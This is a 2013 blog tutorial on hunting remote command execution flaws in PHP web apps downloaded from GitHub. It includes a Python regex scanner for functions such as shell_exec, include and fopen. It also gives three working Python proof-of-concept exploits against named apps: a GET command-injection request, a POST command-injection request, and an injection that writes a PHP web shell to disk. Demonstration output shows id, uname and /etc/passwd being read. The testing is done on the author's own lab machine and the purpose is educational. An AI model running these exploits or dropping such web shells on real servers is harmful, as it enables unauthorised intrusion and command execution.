Tuesday 18 June 2013

[EN] RCE - another lesson

Hi,

few days ago I wrote short post about finding potential vulnerable piece of code at github.com

Today we will use it to find few vulnerable 'webapps' and write PoC's for vulnerabilities we will find.

What we will actually need is:
- python
- browser
- internet connection (in case you have a linux with apache/php server installed)

In our 'test-server-box' we will need a directory to store our vulnerable-example-webapp-codes.
For this case let it be /home/kuba/public_html/github/.

How to start.

It's not a problem to download a lot of MBs from github. But checking it all
'manually' can be painful. Let's make a trick to speed-up our work a little.

At this stage, what we want 'the most' is remote command execution vulnerability somewhere in the code.

Ok.

Let check again post from seclists.org to find out how we can search for vulnerable code located
at github.com.

In case you don't know what function(s) you need to find (to exploit it via RCE),
maybe this page will interest you.



As we know, we are looking for RCE vulnerabilities. This means we're looking
for piece of code, where user can send 'some value' to webapp, and (because of
no filtering for this 'value') this webapp will 'execute' (via function-to-exec) this 'value'.


Ok.



Code below is based at only one function (shell_exec for our examples).
Start this code agains few webapps that you found at GitHub. It should find
few 'vulnerabilities'. Check this out:

Our 'simple scanner' found something interesting:

--- output ---
[+] --- filename ------------------------------------ >  process.php
        [!] =========> [+] Found RCE bug, check at source:

        [ -> line number: [ 3 ]

        [ check parameter here, maybe it's not/wrong filtered :]
 $output = shell_exec($_GET['command']);

-------> next ----> bug ---> -------------
--- output ---

As you will see after a while playing this code, there is no '100% vulnerable code found'.
This is just as 'see here, maybe its useful' output. ;) You should read the code anyway!


Ok. So now we have few webapps downloaded from GitHub.

Let's extract them to our www-root (/home/kuba/public_html/github/):

Next step is to write a simple 'scanner-code' to find out if there is any vulnerability (RCE
via shell_exec in this case, but there is no problem to extend this 'scanner' to find more vulnerable functions/behaviors).

--- code ---

kuba@lap:~/src/py/siema$ cat siema-rcelab.py
#!/usr/bin/env python
import re
import sys
import os

dirname=sys.argv[1]

# get_files - listuje katalog z plikami
def get_files(dirname):
  for dirname, dirnames, filenames in os.walk(dirname):
    # print path to all filenames.
    print '[+] dirname to check: ', dirname
    print '\n___________________________________________'
    for filename in filenames:
      # czyta plik podany z argv[1]
      # nastepnie, szuka w nim kolejno 'podatnosci'...
      def reada_file(filename):
        print '[+] --- filename ------------------------------------ > ',filename

        with open(dirname+'/'+filename,'r') as fd:
          n_line = 0
          for line in fd.readlines():
            n_line += 1

            rce_regex = re.compile(r'((shell_exec[(]|passthru[(]|system[(]|curl_exec[(])(.*)[$].*)')
            found = re.search(rce_regex, line)
            if found:
              print ('\t[!] =========> [+] Found RCE bug, check at source:\n')
              print ('\t[ -> line number: [ %d ]\n') % (n_line)
              print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
              print '-------> next ----> bug ---> -------------\n'

# ------------------------------ end of tests
            n_line=n_line+1
        # end reada_file()

      print ''
      reada_file(filename)
## end get_files()

##################
#   MAIN:
##################
print '[+] Checking started:\n'
get_files(dirname)
print '\n'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
kuba@lap:~/src/py/siema$

--- code ---

(Of course, similar output we can get from simple grep command, but this is not the case right now.)


Later, as a draft-of-idea I will add here extended version of this 'python-scanner'.

Let's start it:

kuba@lap:~/src/py/siema$ ./siema-rcelab.py /home/kuba/public_html/github/rcelab/tourism/ > tourism.log

In tourism.log we can find a lot of strings so, I will suggest you 'read' this file by 'less' command:

$ less tourism.log... (Type: /text to find 'text'. Let's check for /shell_exec or /Found)
(...)
[+] --- filename ------------------------------------ >  process.php
        [!] =========> [+] Found RCE bug, check at source:

        [ -> line number: [ 3 ]

        [ check parameter here, maybe it's not/wrong filtered :]
 $output = shell_exec($_GET['command']);

-------> next ----> bug ---> -------------
(...)


Ok, it seems that our super-code found something! ;]

We can verify it in two ways: first (in this case) via browser (because it is a simple GET request) and second: via our simple proof-of-concept code.

Open your browser and go to:
http://192.168.1.102/kuba/github/rcelab/tourism/Philippine-Tourism-master/

at this stage it was big surprise for me, that this 'webapp' with RCE vulnerability
is actually a WordPress installation ;)


Our vulnerable file is:
./Philippine-Tourism-master/dashboard/git/process.php

After default installation, let's check if we can exploit this vulnerability via browser:

... of course we can! ;]
(By the way, what is 'pino' you will find at GitHub in the 'way' mentioned before:

).


Ok, so first method (browser) is working, let's find out, how we can write a simple python PoC
to exploit this vulnerbaility:

--- code ---

kuba@lap:~/src/py$ cat pino-poc.py
#!/usr/bin/env python
import urllib2
import sys

#host = 'http://192.168.1.102'
host = sys.argv[1]
#cmd = 'id;ls%20-la;uname%20-a'
cmd = sys.argv[2]
vulnurl = '/kuba/github/rcelab/tourism/Philippine-Tourism-master/dashboard/git/process.php?command='+cmd


vuln = host+vulnurl

if len(sys.argv) == 3:
  check = urllib2.urlopen(vuln)
  page = check.readlines()

  print 'RCE PoC for Tourism WebApp at: ',host

  start = '<pre>'
  stop = '</pre>'
  print 'exec: ',cmd

  for line in page:
    print line[len(start):-len(stop)]

  check.close()
else:
  print 'host cmd...\n'

--- code ---

Ok, great. now let's check if it's working:

--- code --- 
kuba@lap:~/src/py$ ./pino-poc.py http://192.168.1.102 uname -a
RCE PoC for Tourism WebApp at:  http://192.168.1.102
exec:  uname -a

Linux lap 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
kuba@lap:~/src/py$

--- code ---

As you can see, vulnerability is 'verified'. ;]

If you will have any troubles with command, try like this:

(...)
kuba@lap:~/src/py$ ./pino-poc.py http://192.168.1.102 cat+/etc/passwd
RCE PoC for Tourism WebApp at:  http://192.168.1.102
exec:  cat+/etc/passwd
root:(...)
(...)

It should work too.



-- Kamikaze

Let's try how we can exploit another vulnerable webapplication.

kuba@lap:~/src/py/siema$
./siema-rcelab.py /home/kuba/public_html/github/rcelab/kamikaze/kamikaze-master/|less

(/Found ... to search for RCE ;])

(...)

[+] --- filename ------------------------------------ >  bloodywork.php
        [!] =========> [+] Found RCE bug, check at source:

        [ -> line number: [ 7 ]

        [ check parameter here, maybe it's not/wrong filtered :]
        shell_exec($cmd);

-------> next ----> bug ---> -------------

(...)

Let's check how bloodywork.php file looks like (and where there is a shell_exec, and what is $cmd param;)):


kuba@lap:~/public_html/github/rcelab/kamikaze/kamikaze-master$ cat bloodywork.php
<?php
        $controlvalue = $_GET["control"];
        $cmd = "./IPC ".$controlvalue;
        shell_exec($cmd);
?>
kuba@lap:~/public_html/github/rcelab/kamikaze/kamikaze-master$

Great.

So our PoC for example before, we can modify a little to exploit 'Kamikaze':
After few modification, code should looks like this:

--- kamikaze-poc.py ---

kuba@lap:~/src/py$ cat kamikaze-poc.py
#!/usr/bin/env python
# to use this PoC we'll need a directory 777 at remote host!
#
import urllib2
import sys

#host = 'http://192.168.1.102'
host = sys.argv[1]
#cmd = 'id;ls%20-la;uname%20-a'
shell = sys.argv[2]
path = '/github/rcelab/kamikaze/kamikaze-master/'
vulnurl = '/bloodywork.php?control=x;/bin/echo+\'<?php+$c=$_GET[\'c\'];echo+shell_exec($c);?>\'+>+/home/kuba/public_html/'+path+'../../777dir/'+shell

vuln = host+path+vulnurl

if len(sys.argv) == 3:
  check = urllib2.urlopen(vuln)
  page = check.readlines()

  print 'RCE PoC for Kamikaze WebApp at: ',host
  print '\n-----\nshell should be here: ',path+shell


  check.close()
else:
  print 'host/page/ your-shell-at-webroot\n'
kuba@lap:~/src/py$

--- kamikaze-poc.py ---


(To exploit this vulnerability, you must know location of directory when you can write (chmod 777).
As you can see I decide to create one (777dir) at my /github/'s root (just to show you,
how other this kind of vulnerabilities can be exploited.)

Run poc to see a shell.php in 777dir:

--- code ---
kuba@lap:~/src/py$ ./kamikaze-poc.py http://192.168.1.102/kuba/ hihi.php
RCE PoC for Kamikaze WebApp at:  http://192.168.1.102/kuba/
-----
shell should be here:  /github/rcelab/kamikaze/kamikaze-master/hihi.php

--- code ---

Checking...

--- code ---
kuba@lap:~/src/py$ ls -la /home/kuba/public_html/github/rcelab/777dir/
total 12
drwxrwxrwx 2 kuba     kuba     4096 Jun 18 10:49 .
drwxrwxr-x 5 kuba     kuba     4096 Jun 18 10:39 ..
-rw-r--r-- 1 www-data www-data   41 Jun 18 10:49 hihi.php

kuba@lap:~/src/py$ cat /home/kuba/public_html/github/rcelab/777dir/hihi.php
<?php $c=$_GET[c];echo shell_exec($c);?>

kuba@lap:~/src/py$
--- code ---

Now in our browser we can type:
http://192.168.1.102/kuba/github/rcelab/777dir/hihi.php?c=id

Exploited.


For both cases we used GET method to exploit vulnerable code.

In third example we will send our exploit via POST.

At mentioned GitHub, we can easlz find POST-variable vulnerable to RCE.

Check it out:

kuba@lap:~/src/py/siema$ ./siema-rcelab.py /home/kuba/public_html/github/rcelab/vauteck/aggreg_platform-master/| less
(/Found... aby znalezc RCE)

--- code ---

[+] --- filename ------------------------------------ >  exec.php
        [!] =========> [+] Found RCE bug, check at source:

        [ -> line number: [ 5 ]

        [ check parameter here, maybe it's not/wrong filtered :]
        echo json_encode(shell_exec($cmd));

-------> next ----> bug ---> -------------

--- code ---

Great. Let's see what's in the code:

--- code ---

kuba@lap:~/public_html/github/rcelab/vauteck/aggreg_platform-master/www$ cat exec.php
<?php
        $cmd = $_POST["cmd"];
        echo json_encode(shell_exec($cmd));
?>
kuba@lap:~/public_html/github/rcelab/vauteck/aggreg_platform-master/www$

--- code ---

Ok.

We can now start to write a simple proof-of-concept using POST method to send the payload.

--- example poc-code ---

kuba@lap:~/src/py$ cat POST-poc2.py
#!/usr/bin/env python

import httplib, urllib
import sys

target = sys.argv[1]
poc = sys.argv[2]
path = '/kuba/github/rcelab/vauteck/aggreg_platform-master/www/exec.php'
url = target + path

headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
params = 'cmd='+poc

conn = httplib.HTTPConnection(target)
conn.request('POST',path,params,headers)
response = conn.getresponse()

if response.status == 200:
  print '[+] exploit works: ',response.status, response.reason
  data = response.read()

  print data

else:
  print '[-] sploit failed :C\n'
kuba@lap:~/src/py$

--- example poc-code ---

And run it, like:

--- code ---

kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 id
[+] exploit works:  200 OK
"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"

kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 uname
[+] exploit works:  200 OK
"Linux\n"

kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 whoami
[+] exploit works:  200 OK
"www-data\n"

kuba@lap:~/src/py$

--- code ---

This is how we create 3 PoC's for 3 vulnerable webapplications:
- RCE via GET
- RCE via POST
- remote webshell creating

In case you want to learn how to find vulnerabilities in webapps and write a little code in python,
maybe code below is for you. This is a simple python-based-scanner for PHP webapps.

As you will see below, 'functions to search for vulns' can be easly extended/changed.
So... have fun! ;)

--- siema2.py ---
#!/usr/bin/env python
import re
import sys
import os

dirname=sys.argv[1]

# get_files - listuje katalog z plikami
def get_files(dirname):
  for dirname, dirnames, filenames in os.walk(dirname):
    # print path to all filenames.
    print '[+] dirname to check: ', dirname
    print '\n___________________________________________'
    for filename in filenames:
      # czyta plik podany z argv[1]
      # nastepnie, szuka w nim kolejno 'podatnosci'...
      def reada_file(filename):
        print '[+] --- filename ------------------------------------ > ',filename

        with open(dirname+'/'+filename,'r') as fd:
          n_line = 0
          for line in fd.readlines():
            n_line += 1
           
            rce_regex = re.compile(r'((shell_exec[(]|passthru[(]|system[(]|curl_exec[(])(.*)[$].*)')
            found = re.search(rce_regex, line)
            if found:
              print ('\t[!] =========> [+] Found RCE bug, check at source:\n')
              print ('\t[ -> line number: [ %d ]\n') % (n_line)
              print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
              print '-------> next ----> bug ---> -------------\n'

            fi_regex = re.compile(r'((include[(]|include_once[(])(.*)[$].*)')
            if fi_regex:
              found = re.search(fi_regex, line)
              if found:
#                if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
                print ('\t[!] =========> [+] Found LFI/RFI (include) bug, check at source:\n')
                print ('\t[ -> line number: [ %d ]\n') % (n_line)
                print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
                print '-------> next ----> bug ---> -------------\n'

            fi2_regex = re.compile(r'((require[(]|require_once[(])(.*)[$].*)')
            if fi2_regex:
              found = re.search(fi2_regex, line)
              if found:
#                if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
                print ('\t[!] =========> [+] Found LFI/RFI (require) bug, check at source:\n')
                print ('\t[ -> line number: [ %d ]\n') % (n_line)
                print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
                print '-------> next ----> bug ---> -------------\n'

            fopen_regex = re.compile(r'((fopen[(]|fwrite[(]|file_get_contents[(]|file_put_contents[(]|fread[(])(.*)[$].*)')
            if fopen_regex:
              found = re.search(fopen_regex, line)
              if found:
                if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
                  print ('\t[!] =========> [+] Found interesting function related to file-write/read. Maybe it\'s bug, check it at source:\n')
                  print ('\t[ -> line number: [ %d ]\n') % (n_line)
                  print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
                  print '-------> next ----> bug ---> -------------\n'
                else:
                  print ('\t[!] =========> [+] Found interesting function related to file-write/read. Maybe it\'s bug, check it at source:\n')
                  print ('\t[ -> line number: [ %d ]\n') % (n_line)
                  print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
                  print '-------> next ----> bug ---> -------------\n'

            preg_regex = re.compile(r'((preg_replace[(]|preg_match[(])(.*)[$].*)')
            if preg_regex:
              found = re.search(preg_regex, line)
              if found:
                if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
                  print ('\t[!] =========> [+] Found interesting function related to *preg_match* write/read. Maybe it\'s bug, check it at source:\n')
                  print ('\t[ -> line number: [ %d ]\n') % (n_line)
                  print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
                  print '-------> next ----> bug ---> -------------\n'
# ------------------------------ end of tests
            n_line=n_line+1
    # end reada_file()

      print ''
      reada_file(filename)
## end get_files()

##################
#   MAIN:
##################
print '[+] Checking started:\n'
get_files(dirname)
print '\n'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'

--- siema2.py ---

If you have any questions, feel free to ask.

Once again, have fun! ;)


No comments:

Post a Comment

What do You think...?